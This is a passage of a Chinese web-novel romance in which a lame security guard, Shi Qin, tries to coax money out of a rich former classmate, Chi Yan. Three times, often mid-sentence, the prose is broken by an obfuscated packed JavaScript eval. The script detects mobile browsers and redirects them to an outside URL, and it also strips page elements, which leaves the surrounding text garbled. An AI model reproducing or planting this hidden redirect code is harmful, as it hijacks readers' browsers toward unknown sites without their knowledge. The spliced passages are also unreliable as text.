“嗯。”迟砚没提自己改了的姓氏,只是看着昔日的老同学,简短问时钦,“有事吗?”语气斯文礼貌,像对待普通的陌生人。 “……”知道还他妈踩油门要走? 时钦脑子一下子更乱了,所以周砚其实早就认出他来了?就没打算跟他搭话,还对他视而不见? 不应该啊,许聪不可能会乱说。 岗亭里的小保安正愣着神,头发像鸡窝,脸蛋红得过分,颈间那颗小痣旁还挂着滴汗。似乎没耐心在这里耗下去,迟砚开了口:“没事的话——” “你等等!”时钦喊出声,酝酿许久的开场白到底是没用上。 他下意识摸了摸接近残废的左腿,心一横撑着桌沿起了身,一瘸一拐走出岗亭,站在车旁咬牙对车里的男人说:“周砚,老同学一场,你请我吃,不是,我请你吃顿饭呗?” 操,怎么还嘴瓢了! 迟砚沉默着,目光扫过时钦微跛的左腿,眼锋一垂一抬,目光就落在了时钦脸上,他微一点头: “好。” 闻言,时钦没忍住“啊”一声,眉梢都往上挑了点,满脸意外,合着这闷葫芦是在玩欲擒故纵? 不能在岗亭前多耽搁,他忙不迭指挥:“那什么,你先开去外面路边等我,我这上班呢,被拍到不好,我马上就来。” 话音刚落,车窗就被关上了,奔驰径直开了出去,老同学没给他半点反应,倒还跟以前一个样,古怪得很。 什么玩意儿啊。时钦瞧过去,扫了眼车屁股的“S450”标,心里默默算着价格,落地一百多万,差点意思,之前那大G呢? 他撇撇嘴,这闷葫芦搞什么把戏,多说两句话能死是么? 真要显摆,就拿出点诚意来,今晚请他上米其林餐厅大吃一顿,再砸个几百万现金,他就勉为其难亲个嘴。 等道闸降下后,时钦心里一紧:操,不会跑了吧?! 5. 我等你 盼星星盼月亮才盼来的大财主,时钦哪儿舍得撒手?毕竟过了这村,这辈子再没这店了。 现在的周砚对他来说,就跟软糯香甜的东坡肉一样馋人。 他半点儿没犹豫,拔腿就追,本来巡逻完就累得腿软,这下步子迈太急,又喘又冒热汗,差点颠个狗吃屎。 看到奔驰停在路边树荫里,时钦骂了一嘴“闷骚货”,脚步慢下来的同时,又暗戳戳得意上了:这么听话,还真是对自己贼心不死啊。 日头依旧毒得晃眼,他习惯性抬高胳膊,把脸往袖子上蹭,从额角到下巴胡噜了一圈,汗湿的布料擦过皮肤,总算清爽了点。 只是一闻到袖子上的汗味,时钦才猛然回神,自己这举动太糙了,活脱脱像个民工,浑身上下没一处不寒酸,头发也没个型。 妈的,周砚该不会在嫌弃他吧? 觉得他没以前帅,就故意视而不见?答应吃饭,也不过是可怜他这个残废?顺便在他面前摆阔装大逼,把高中时的气给出了? 操,周砚还敢嫌弃他? 出口距离那辆奔驰也就十米远,正常人要不了几秒,时钦偏磨蹭了半分钟,一来脚发酸闹的,二来心里憋着气,成心要磨磨周砚那古怪性子,让他老实候着自己。 就这半分钟工夫里,时钦自己一通瞎猜忌,脑瓜里转了八百个弯,给周砚安的罪名不带重样的,从“装逼”、“清高”、“拿乔摆谱”、“外貌协会”、“记仇小心眼儿”,一顶接一顶往人头上扣。 车身锃亮得能照出人影,靠近车屁股时他随手扒拉了两下头发,又胡乱抓着想拗出点型来,转而一想自己这是干嘛呢?周砚当年喜欢他,不就是瞧上了他这张脸么。 打小在夸赞里泡大,时钦对自己长相向来有底气,索性理直气壮敲开主驾车窗。 可车窗刚降下半截,一对上周砚那张既熟悉又陌生的冷脸,他铆足的气势瞬间软了,原本想好的硬气话全卡了壳,只憋出一句干巴巴的:“你手机号多少啊?” 话才撂出去,空气没静两秒,就见老同学解开了安全带,看样子是要下车。 时钦立马往边上挪,眼睛还瞟着对方的动作,又不自觉低头往制服上嗅了嗅,还好身上汗味不算重。 他心里嘀咕:这是累出来的汗,不是馊味,等晚上洗个澡就好了,别因为这点味道就把大财主给熏跑了。 末了又拐个弯埋怨起来:都是周砚的错,早不出现晚不出现,偏偏挑今天来,好歹给他点心理准备啊。 迟砚关上车门,看着心不在焉的时钦,目光掠过他皱巴巴的衣袖,在湿处短暂停留。时钦刚抬头,他已收回目光,语调平稳:“你的手机号。” “啊,哦。”两人离得近,时钦先闻到一股极淡的香气,莫名觉得哪儿不太对劲,掏出手机后,忽然没头没脑地蹦出一句,“你是不是长高了?” 迟砚轻嗯一声,指尖在手机屏上调出拨号界面,没去看时钦手里的旧老年机,只说:“手机号。” 要问时钦最烦什么,正是眼前这个面无表情的闷葫芦,完全让人捉摸不透,还越猜越烦躁。 说喜欢他吧,周砚从来没对他表现出半点喜欢的样子;说不喜欢他吧,那封情书就是周砚的字迹,做不了假。 而且他记得格外清楚,高三有一回自己心情不好,在酒吧浪到半夜,没人管他死活,最后是周砚把他背回的家。这种丢脸的事,他没好意思叫沈维他们几个知道。 不想还好,这一想发现肢体接触远不止在体育课上,在校外、在沈维他们看不见的地方,还有过好多回。 时钦憋屈地报出手机号,又像以前一样开始自我怀疑:是不是真的被周砚传染了? 怎么一跟闷葫芦扯上关系,自己就变得不对劲。 “我在遥望,月亮之上,有多少梦想在自由的飞翔……” 粗糙的音质带着电流“滋滋”声炸响,跟村口大喇叭似的,时钦手掌被震,眼都来不及看屏幕上的那串数字,飞快戳着老年机的按键把电话掐了。 见老同学仍是一副面瘫相,他赶紧没话找话解释:“是这手机默认的铃声,不是我弄的。” 迟砚没说话。 “其实听多了,这歌还挺有劲儿的。”时钦又给自己找补,声音拔高了些,试图挽回自己岌岌可危的品味。 但说实在的,听习惯以后他是真觉得这歌不错,日子难捱的时候,他偶尔还会哼唱上两句,幻想自己哪天也能自由飞翔。 迟砚还是没说话,垂眼看向手机,指尖略作停顿,把刚拨出去的号码存进了通讯录。 气氛说冷场就冷场,树上的蝉倒是叫得欢。 时钦突然觉得自讨没趣,心说就当卖惨博同情了,但凡周砚有良心,等今晚吃完饭就带他上银行取钱去。 今天队长刘建国和王大嗓门都在,不能离岗太久,有了联系方式不怕找不到人,反正都这样了,他干脆一不做二不休,趁机再卖波惨。 “离岗太久会扣工资,”时钦说着垮了垮肩膀,软下来的声音带了点可怜劲儿,别提有多委屈,“副队长还会训我,我得回去上班了,七点下班再给你打电话。” 迟砚扫过时钦扒拉过的头发,没比刚才的鸡窝好多少,软趴趴的几缕翘在额前,脑门上还蒙着层薄汗。 他呼吸稍沉,只平静回了一个“嗯”。 时钦原地站着,还想挽回一丝形象。他累的时候跛相会更明显,走起路来不好看,想等车走了再挪步。 结果等了几秒见对方也没动,他以为闷葫芦来良心了,紧接着再补上两句:“我同事都不待见我,嫌我是个没用的瘸子,也就保安队长看我工资要得低,才招我的。” 迟砚听完,没说什么。 “……”时钦又碰一鼻子灰,心里忍不住骂爹:这像话么?正常人就算不感兴趣,至少也会接个话吧?就这么晾着他,全世界只有周砚能干出这事来! 爱问不问,老子偏要说! 时钦刚要张口,话头就被堵了回去。 “回去上班吧。” “……”眼看着老同学转身打开车门,矮身坐进驾驶位,车门一关,时钦是真没话说了,也没那个精力去猜闷葫芦的心思,便挥了下胳膊,“那晚上见。” 迟砚回他:“再见。” 车窗缓缓升上去,黑漆马虎什么也看不见了。时钦扭头往回走,一出树荫就被阳光刺得眯起眼,站得累了,连走路都晃,只想快点回岗亭坐下来吹空调,哪儿还顾得上形象。 直到他颠晃的身影拐进园区,那辆奔驰才慢慢驶离树荫。 …… 唉,风水轮流转啊。 时钦靠着椅背,这样想着。追出去时他还觉得妥了,保安这碗饭谁爱吃谁吃,反正他不吃了。 这会儿凉快下来,热糊涂的大脑清醒不少,他把许聪说的那些话细细复盘,搞不好周砚去年参加同学聚会单纯是为了显摆,尤其是显摆给他看。结果他不在,周砚只能找沈维打听。 这闷骚的,花花肠子不少啊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16422351|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 时钦不傻不苶,太清楚等价交换这回事儿,也知道自己大概捞不着多少好处。就算周砚真大方给他五百万,他其实也没辙,总不能扛着一箱子现金跑。 周砚说了再见,那今晚肯定能见面。 为了拿出诚意,时钦认真琢磨晚上吃什么。他掏了下没放手机的另个裤兜,攥出自己皱皱巴巴的全部家当,两张红票子,剩下全是五块、一块的零碎。 下个月底才发工资…… 请吃盖饭档次太低,下馆子点菜又太贵。时钦抠抠搜搜一通算,到最后也只舍得拿出五十块钱来招待老同学,思来想去,就烧烤合适:不跌份,应季,合理。 羊肉串来个三串够了,大腰子来一串,毛豆、花生米各来一份,别的整点蔬菜,再弄两瓶酒。大老爷们儿吃饭,核心不就是喝两口嘛,有荤有素还有酒,齐活儿了。 一下班,时钦没着急打电话,骑上电驴就往回赶。赵萍家环境简陋,没有卫生间,上厕所得去附近的公厕。洗澡也麻烦,只能烧水用盆接,在隔出来的小屋里洗。 赵萍还没回来,他没时间等水烧开,直接接了盆自来水往身上泼,嫌硫磺皂味儿不香,洗头时顺手往身上抹了洗发露,是他没见过的廉价杂牌,味道也就那样,但总比硫磺皂强点。 洗完澡,他在自己那几件旧衣服里挑挑拣拣,选出一身算体面的,黑色短袖配休闲裤,外加一双人字拖。 把自己收拾利索了,时钦这才拿出手机,拨了下午存的那个号码,备注显示“闷葫芦”。 未料电话刚通,就被那头掐断。 时钦第一反应就是自己被耍了,不服气又拨了第二遍,哪知道还是被掐断。他当场跳脚,恨不得操周砚大爷,手机突然一震,收到一条短信,点来一看,闷葫芦发的。 【在开会。】 开会??? 时钦火气蹭一下就上来了,冲着手机脱口就骂:“浪费老子感情,你开个几把会!” …… 园区里,某家互联网科技公司的会议室内。 迟砚点开收到的短信,看到内容,眼神移开掠向闹哄哄的会议室,不过两秒,又落回手机屏幕上。 【开完会给我打个电话,我等你】 “迟总啊,有我在这儿盯着,这临时会议还用您亲自过来开么?” 迟砚没理会合伙人李望的调侃,收好手机,问他:“展会申报,材料递到组委会了?” 李望:“递了递了,别操心。管那么大一娱乐公司还往这头跑,你也不嫌累。” 迟砚:“还好。” 会议结束时已经九点,李望在公司待了一整天,只想出去放松下,走时打趣迟砚:“去喝两杯?明天没什么事儿,正好放松放松。” 明天确实没重要的行程安排,迟砚点头:“行。” 两人一前一后进了电梯,李望稀奇道:“真跟我去喝酒?不找你那个小保安了?” 似是不愿多聊,迟砚淡淡应了句:“以前的同学而已,没那么熟。” …… 这头,时钦胳膊被蚊子叮红了好几块,挠得皮肤都发烫,捧着没什么功能的老年机,实在等得不耐烦,又给老同学发了条短信,什么几把会开到九点多了还不结束?把他当猴儿耍呢? 就这么熬着等着,等到时钦迷迷糊糊来了困意,枕边手机突然震了下。 他揉着眼睛摸过手机,半睁半闭地点开短信,瞬间困意全没了,只剩一肚子气。 【应酬。】 6.爽不爽? “亮哥,你能帮我冲二十话费吗?”时钦从兜里摸出两张有点皱巴的十元纸币,递给钱亮。 陶辉一直不待见他,张洋心思全在对象身上,值班室里也就钱亮能跟他多说上两句话。关系熟了些,时钦也从之前的“钱哥”,慢慢改口喊了“亮哥”。 钱亮接过钱塞进兜里,用手机爽快帮时钦充了话费,多问了句:“这二十能使多久啊?” 一提这茬时钦就来气。 他这手机号是在一小县城里买的黑卡,套餐没法改,一个月固定消费愣要四十多,送的通话分钟和流量根本用不上。周砚不接他电话,想联系只能靠短信,一条一毛钱,发多了肉疼。 自从周砚拿“应酬”敷衍他后,日子又熬了一个多星期。 期间他忍不住发了十几条短信,五条里能等来一条回复就不错了。那闷葫芦不是回“应酬”,就是说“开会”,永远在忙的路上,也不知道到底忙个什么几把。 巡逻结束,时钦回到岗亭,往椅子上一坐就开始发呆。 一闲下来,他手里就攥着老年机把玩,心里蠢蠢欲动,总想给某人发条短信。瞥到电脑右下角的时间,十一点出头,离饭点倒不远了。 这个点总不能还在开会吧?时钦堵着口气不上不下,越想越烦躁,眉头拧成了结。都九月入秋了,这闷骚货再磨叽,街边烤串该没影儿了,等着喝西北风吧操。 以防周砚再敷衍,他沉住气,耐下性子盯着电脑上的时间,十二点准时一跳,才编辑了条短信发过去,客气询问:【周砚,今晚有时间吗?】 等时钦把上班路上买的俩烧饼啃得渣都不剩,解决完这顿潦草午饭,搁在桌上的老年机终于响了,小屏幕上弹出来自“闷葫芦”的短信。 只是打开一看,刚压下去的烦躁立马窜上来,又攒下一肚子气,连肺管子都要气炸了。 【没有。】 到这一刻,时钦非常确定并肯定,自己被当成猴儿耍了。 原本他还挺为周砚考虑,想着对方毕竟是远川集团的董事,少不了开会和应酬,那自己这边有事没事发个短信慰问一下,花点小钱联络感情也不算亏。 可实际上呢? 周砚就他妈不是个东西!没良心的装货!跟他玩什么清高啊? 哪怕有丁点良心,就是上个厕所的工夫,也能腾出半分钟来多给他回两条短信,结果却对他爱答不理,摆明了在耍他。 太阳穴突突直跳,时钦很久没这么生过气了。 他点进回复框,拇指在按键上噼里啪啦敲得飞快,心里头怎么骂的,屏幕上就跟着蹦出什么字,每个字都饱含他浓烈的情绪:周砚我操你大爷!以前在学校里屁都不敢放一个,看见老子就躲,现在有钱就臭牛逼了是吧?耍老子爽不爽?你他妈算个几把,你给我等着,你—— 指尖猛地僵在按键上,时钦呼吸都滞了半秒。像是突然回忆起什么,他又慌张地把敲出来的字逐个删掉,删得又快又急,直到界面变回空白,才如释重负般把手机往桌上一推,双手抱头埋进臂弯趴在桌沿,一动不动地闷了很久很久。 “嗡——” 桌面传来一阵振动,时钦肩膀几不可察地抖了一下。 情绪早没了刚才的冲劲,他抬起头,视线落在亮着屏的老年机上,有一条来自“赵萍”的短信。 【小伟,我回老家,你弄饭吃】 赵萍不会拼音,对外沟通全靠那台卡得要死的破安卓机手写。时钦看着短信内容,想起赵萍昨晚告诉他,老家亲戚过世要回去奔丧,叮嘱他自己做饭吃。他才平复的情绪又往下沉了沉,这回不是因为谁,而是因为窝囊的自己。 跟自己生了会儿闷气,时钦心里渐渐有了接下来的打算。 尽快跟赵萍撇清关系。 周砚耍他的账,不能就这么算了。但也不能再像刚才那样情绪失控,冲动是魔鬼,再不痛快都要忍着。 说什么也得想办法狠狠捞笔大的,捞完就跑,不然真以为他吃素呢?要怪就怪周砚有钱,活该被他盯上。 可眼下没个突破口,时钦皱着眉苦想对策,想着想着,思绪竟不知不觉飘回了高二文理分科那年。 就在那年,他和周砚成了同班同学。 时钦谁也没告诉过,连交心的兄弟沈维都不知道,其实早在周砚写给他的那封情书传开之前,他就看周砚不顺眼了。直到高三,他才总算找到个欺负人的由头,把藏在心底的嫉妒,一股脑儿全发泄了出来。 他那时候心思太阴暗了,不愿承认自己在嫉妒。 嫉妒周砚有个虽穷但温馨的四口之家,更嫉妒周砚的弟弟周焕,有个像周砚这样的好哥哥。不像他,私生子的身份像块压在头顶的石头,让他始终抬不起头来,他同父异母的哥哥韩武,也打心眼儿里厌恶他,还有他那个给人当小三的妈。 他除了钱,好像也真就只剩钱了。 如今钱也没有了,什么都没有了。 失去才懂得珍惜,时钦恨死了当年花钱大手大脚的自己。 那个傻逼的自己还极其幼稚,就为了捉弄周砚,特意给周焕买了最新款苹果手机。周焕一高兴,周砚果然就冷着脸主动找上门,把新手机原封不动还给他,再甩给他一句“别影响我弟弟学习”。 周砚一本正经上赶着的死样儿,能让时钦爽上好几天。 时钦顿时一个激灵——通透了! 自己以前有多爽,不就恰恰说明周砚现在有多得意?这死闷骚的,看他这副上赶着的窝囊相,怕是爽到骨子里了吧?那破架子端得恨不能比天高,真他妈能装! 时钦压下翻涌的情绪,拿起桌上手机就给周装货发短信,干脆利落地发过去一条:【我老年机充不了话费,能帮忙充一下不?回头还你】 他目标明确:周砚不是喜欢装么,那就奉陪到底,让这死装货继续装个够,自己能捞到便宜就行,面子又不值钱,再说了自己一残废,早就没面子可言。 至于许聪说的“贼心不死”,时钦不信了,什么喜欢不喜欢,虚头巴脑全是狗屁! 如果他喜欢谁,他才不舍得让对方当保安,骑着个破电驴风里来雨里去的,马上天冷了挡风被还买不起,多可怜啊?他肯定得心疼死。周砚一点也没心疼他。 这条短信不过是探探路,时钦没指望周砚真帮他充,谁知半小时后,手机还真收到了短信。 闷葫芦:【多少。】 他受宠若惊地盯着屏幕,一时拿不定主意:充多少合适? 一千会不会太多?不行不行,别吓着闷葫芦。五百?也不行,这黑卡还不知道能使多久呢,之前就废过几张卡,万一话费没用完就打水漂了,多不值当啊。 两百?好像也有点多。时钦没忘了周砚当年是个穷鬼,背他回家那次硬生生走了十多公里路,跟傻子似的,就因为兜里没钱打不起车!等他脑子稍微清醒点,才发现已经到自己家门口了,周砚还好意思嫌他重,把他扔门口就走了。 此刻远在南方某省城的迟砚,回到了酒店,准备冲个澡补一觉,刚解开衬衣纽扣,手机“叮”一声响。 他拿起吧台上的手机,指尖轻划点开短信。 【给我充50,我月底发工资就还你。我脚瘸找不到工作,是保安队长看我可怜偷偷招我的,让公司知道了会被开除,我的工资他单独发,一个月有1500,不会赖你的,放心】 迟砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427390|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把这条短信看了两遍。口吻与当年那个骄纵蛮横、目中无人的少爷相比,确实收敛了太多,可细品还是能揪出过去的影子,藏着股不肯彻底放低姿态的傲,连带那点刻意示弱,都显得过分别扭。 他指腹在屏幕边缘,轻轻碾了下。 时钦指甲抠着机身坑坑洼洼的磨损处,心想才五十块钱,自己还特意卖了波惨,总该给他充了吧? 如果周砚真给他充了,说明卖惨有效果,总之别指望他月底还钱。 手机忽地一响,时钦看到是话费充值的短信提醒,又一阵受宠若惊。 就是这逼……装得也太抠搜了,真就只给他充了五十块钱?还大集团董事呢,简直服气。 算了,多少钱它都是白来的。 不错不错,时钦嘴角一扬,赶紧给财主回消息,这把放长线钓大鱼稳妥了。 【你后天有时间吗?我找了一家不错的店,中午晚上都行,我后天能休息,下次还不知道要等多久,有个同事老针对我,叫我休息给他顶班,我瘸了打不过他,只能帮他上】 时钦捏着手机耐心等着,不确定自己这番半真半假的瞎话能不能忽悠住财主。 三分钟后,手机响了。 闷葫芦:【这几天很忙,等我电话。】 “操。”时钦激动得攥了攥手机,冷不丁回过神来,所以上回周砚赶他回去上班,其实是担心他挨训? 趁着闷葫芦愿意多打几个字,他紧跟着就敲了回过去:【几天?给我个准话行不?调休要申请】 这下,等了一小时也没收到回复。 时钦不信邪,继续卖起惨来,打字的时候都在想:这闷骚的,看他上赶着卖惨到底是有多爽啊?话都比之前多了,再多跟他说两句呗,他不介意多卖几下,给钱就好。 等迟砚冲完澡出来,见手机多了两条未读短信。 【周砚,你要是觉得跟我这瘸子一起吃饭丢人,那不吃了,我就是心里有话想当面对你说】 【我以前是有一点浑,这几年已经遭了很多报应,走哪都被欺负,副队长那个老男人还故意摸我屁股,我也只能忍着,看我过成这样,你心里有没有舒服点】 水珠滴在屏幕上,迟砚用指腹擦去,抬手捋了把额前垂落的湿发,目光最终停留在第二条消息的开头——只是有一点浑么。 这少爷,自己还挺委屈。 …… 一直到晚上入睡前,时钦都没等来回复。说实话挺让他抓狂的,他还以为自己有点摸透闷葫芦那古怪的性子了。 怎么就那么难捉摸?这装货还是个正常人类么! 隔天赵萍不在,时钦煮了只鸡蛋草草吃完出门上班,路过常光顾的烧饼铺,他照例买两个糖烧饼,一块五一个,两个勉强能管饱,今晚赵萍回来会给他烙很香的香葱饼。 一想到赵萍,他又莫名心烦。 烦劲儿上来了,他控制不住把闷气撒到昨天没搭理他的某人头上。 就这么在岗亭里混了一天,下班前,时钦觉得是时候主动出击了,再放线试试,看鱼儿上不上钩。 正低头编辑短信内容呢,一通电话猝不及防打了进来,来电显示“闷葫芦”,惊得他手一抖。 他忙接通,没抓稳就把手机凑到耳边:“喂?” “下班了?” 不知道是不是山寨机信号劣质,传过来的声音听着又低又冷,时钦愣了半秒,才急忙应声:“啊,下班了。” “我在门口。” 最后一个字刚飘进耳朵,电话就被直接挂断了。时钦盯着屏幕,还维持着举手机的姿势,又愣了几秒。 这闷骚装货……昨天不是还说这几天很忙么? 7.骚包 北城一入秋,晚风便带了凉意,没白天那么燥。 时钦低头揪了揪袖口,今天刚换的长袖制服一堆褶子,是之前保安辞职留下的,新制服得等月底才发,不过也穿不上了。 还好一整天没怎么离开岗亭,身上倒没沾着汗味,清清爽爽。 他锁上门,没直接出园区,在岗亭前停了下脚,想自己这线还没放呢鱼儿就上钩了,着什么急啊? 谁让闷葫芦昨天又忽悠他,到晚上也不回他消息,老实候着吧。 小风刮着挺舒服,他先给赵萍发短信,说晚上不回家吃香葱饼了,免得她做多,回头又打手语跟他啰嗦。 然后慢悠悠往东门走,去取自己的小电驴,就怕等吃完再回来取,碰上值夜班的王大嗓门。 时钦昨天后来给周砚发的第二条卖惨短信里说,自己这几年走哪儿都被欺负,这话其实没瞎编。 而王广强那个老男人,在两天前真的故意摸了他屁股。那天他从值班室厕所出来后,大嗓门正好要进去撒尿,跟他擦肩而过时,那咸猪手往他左半拉屁股上蹭了一把,当时就给他恶心坏了。 他也真的只能忍着。 风吹得香樟树沙沙直响,时钦抬头看了眼将黑下来的天。他天天都在盘算,这会儿走着,心里没断过念头:等捞到钱就赶紧跑路,捞不着等月底发了工资照样走,不吃这碗恶心的饭了。 结果前脚刚到值班室后面的非机动停车场,王广强后脚就凑过来,拦在了他跟前。 “小伟,我正好要找你。” “什么事啊,副队?”时钦不着痕迹往旁挪了步,摸出裤兜里的电驴钥匙。 “陶辉明晚有事儿请假,”王广强把小保安上下打量了个遍,“你替他顶个夜班,明天白天就休息吧,晚上七点过来。” “……”时钦暗想不好,这老男人不会真打自己主意吧?陶辉和大嗓门到底有没有一腿,他本来也是瞎猜,主要入职到现在,王广强没对他表现出什么不轨意图。 王广强:“明晚有张洋带你,你也先适应适应。” 听到张洋的名字,时钦总算安心,忍不住嘀咕:自己这是恐同闹得草木皆兵么?可脑子里闪出某个闷葫芦,他又觉得不是,自己对周砚就没那么大抵触。 这点莫名的情绪没缠他太久,很快被压了下去,光想着白天休息倒省事儿,今晚跟老同学好好叙旧,趁热打铁把钱捞了。 等骑着电驴从东门绕到西门,时钦老远便看见,上回周砚等他的那棵槐树下,停着辆黑色奔驰。 怎么没开那辆大G呢?他还寻思蹭一蹭,坐上去感受一把。 忽来一阵风,裹着凉意直往裤脚钻,时钦一哆嗦,立马把踏板上的左脚往里缩了缩,纳闷今天这天气怎么跟闹着玩似的,说凉就凉。 他下意识就想:一会儿得让周砚用手机在网上给买个厚实的挡风被,不然早晚冻得脚疼,万一落下病根要拄拐,走路更难看了。 下一秒,他又狠狠骂自己没出息,真他妈窝囊!几十块钱的挡风被算个屁?必须让周砚白给他买套房子,再白给一百万现金。 一心只想要钱,时钦麻溜儿地把电驴停在槐树下的路牙子上,一瘸一拐快步绕去主驾边,抬手就敲车窗。 谁知车窗刚降下,竟露出个戴着黑框眼镜的陌生青年。他当即一怔,自己也没看错车牌啊!转身要去车尾确认时,后座车窗缓缓下降,一道熟悉的声音从里头飘了出来。 “上车。” “……”时钦弯腰往里一瞅,日盼夜盼的财主原来在车里坐着呢,路灯光线洒进车里一角,对方那侧脸轮廓分明,看不出半分情绪,总之没正眼往他这边瞧。 闷葫芦这逼装得别说还挺……挺有毛病,那破架子都端上外太空了,真行,火星人吧这是。 他拽开后座车门,一坐进去就闻见股清清淡淡的香,像太阳晒透的草木味,闻着特舒坦。等身子放松往后一靠,整个人也舒坦了,体验感不错,唯一的问题就是—— 前面那个眼镜男什么情况? 制服擦过车门的细微轻响,坐下时带起的一点风,还有顺着空气漫过来的呼吸。 不用看,迟砚也能清晰察觉到这些对他来说很吵的动静。 他静了两秒,开口时的声音没什么起伏:“位置说一下。” “啊?”时钦还没反应过来,手里正拉扯着安全带,扭头问一旁的火星人,“周砚,要不要系安全带啊?哦,你没系,那我也不系了。” 迟砚提醒:“不错的店。” “……”时钦这才想起来,是自己昨天发的短信,跟周砚说过找了一家不错的店。这闷葫芦,就不能一次性把话说全了。 他直起身往前凑,双手扒住主驾靠背,脑袋探过去问眼镜男:“震江路知道不?离这儿不算远,那店位置有点偏,等你开过去,我再给你指路。” 眼镜男:“好的。请坐好。” 待车驶进大路,时钦懒懒往椅背上一倒,完全放松下来,好不惬意。 有福不享是傻逼,以后可没机会坐这么好的车了。他一会儿扫两眼前面的中控屏,一会儿瞟瞟窗外那片天天在监控里看的湖,最后又转头,瞅了瞅旁边依旧面无表情的老同学。天黑得快,车里昏暗,跟瞎子摸象似的,看不清那张棺材脸。 迟砚闭了闭眼,手头堆着的事情没处理完,明天还要飞回省城。他想眯一下,奈何车里真的很吵。 “周砚。” 迟砚睁开眼。 “能不能放点music啊?你这车里太安静了,广播也行。”时钦纯粹觉得,这么舒坦的氛围里没点音乐合适么?当然要是能放首重金属摇滚,那滋味就更爽了。 请求的语气,但一点没客气。 迟砚没看他,只对前座助理开口:“凌默,打开交通广播。” “好的,迟总。”凌默应下,很快打开交通广播,路况播报随即打破了车里的沉闷。 “……”时钦内心一操,闷葫芦就直接略过他前半截话了?那突然过来找他什么意思?难道不是觉得他惨,才可怜他的么?可怜他就更应该放歌给他听啊。 不对,池总是谁? 逐渐安静,迟砚稍微能眯一下了。 只有窝在座椅里的时钦,暗自嘀嘀咕咕:以前怎么没发现闷葫芦这么能装呢?吃饭就吃饭,还找个司机过来碍眼,害他在心里捋好的那些话,现在连半句都没法说出来。 “周砚,你手机借我用一下行不?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432941|184765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 迟砚又睁开眼,这回分了眼神给时钦,见对方不知什么时候脱了鞋,双腿蜷着一整个缩在座椅里,坐没坐相,全然不懂规矩,还是过去那个骄纵蛮横的少爷。 他转开视线,只问:“做什么。” 捋好的话没法说,别的话还不能说么!时钦现在逮着机会就想试一试周砚对他的同情程度,于是又绕回先前的想法,直接道:“我想在网上买个东西,不贵的,你帮我付一下呗?月底跟话费一起还你。” 迟砚:“什么东西。” “挡风被,就是装电动车上防风的。”时钦心里十拿九稳。 自己这波是真惨啊,可怜到求人帮买几十块钱的挡风被,周砚看他混得这么惨,又该爽死了,然后通过施舍来大大满足自己的虚荣心。要不怎么昨天施舍五十,今天就来找他了? 迟砚:“多穿点。” “???”时钦想说点什么,话到嘴边,不巧被打断。 “迟总,到震江路了。” 迟砚又给了时钦一个眼神,示意他:“指路吧。” 不是一次两次搞不懂了,时钦懒得去琢磨,在他心里周砚现在就是个沟通有壁的火星人。 他放下腿,脚蹬上皮鞋,给眼镜男指路,等车拐了两个道来一个小巷子前,才转头冲火星人说:“这巷子里不好停车,走进去吧。” “凌默,停车。”迟砚吩咐助理。 “好的,迟总。”凌默靠边停了车。 时钦挺蒙圈,这四眼刚才就这么喊周砚了。 等下了车,他才在路灯底下看清周砚的衣着,还是个正经骚包,挺括的衬衣配西裤,外面搭了件马甲,搞得这么正式,不会以为他选的是什么高档西餐厅吧? 他可没那钱,想得美! “带路。”迟砚下巴略抬,指指巷口。 操,把人当奴才呢?时钦不爽归不爽,奴才的狗腿架势倒是立刻拿了出来,只要财主爽,自己吃点亏算什么?等捞到钱,管他什么周砚狗砚的,通通滚蛋。 他走在前面,隔着头说话不方便,又停下来,侧过身好奇打听:“对了周砚,刚才那男的怎么老叫你池总?” 迟砚看时钦一眼,说:“你也可以这么叫。” 时钦:“……” 空气里隐隐飘着股烧烤的焦香,迟砚心里了然,脚步没停,顺着巷子继续往前走。 “你大爷的。”时钦瞪着走在前面的高大背影,低低骂了句。 不能平视就算了,说话仰着脖子已经很累了,这闷骚装货还敢踩他头上拉屎撒尿,真他妈好意思! 他不服气地快步跟上,也顾不上自己跛态有多难看,追上时才一语双关地说:“你多高啊?跟你说话还有点费劲。” 迟砚侧过脸看着矮了他快一个头的瘦弱小保安,隔了几秒,说:“比你高。” 时钦:“……”周砚我操你大爷! 他咬着后槽牙在心里臭骂,脸都快气热了。 人,总要为五斗米折腰。 冲动是魔鬼啊。时钦把乱七八糟的负面情绪全部憋回肚子里,拖着脚边走边卖惨,可还是憋不住掺了句不乐意的埋怨: “你等等我啊,别欺负残疾人,我都这么惨了。” 8.“我疼死了。” 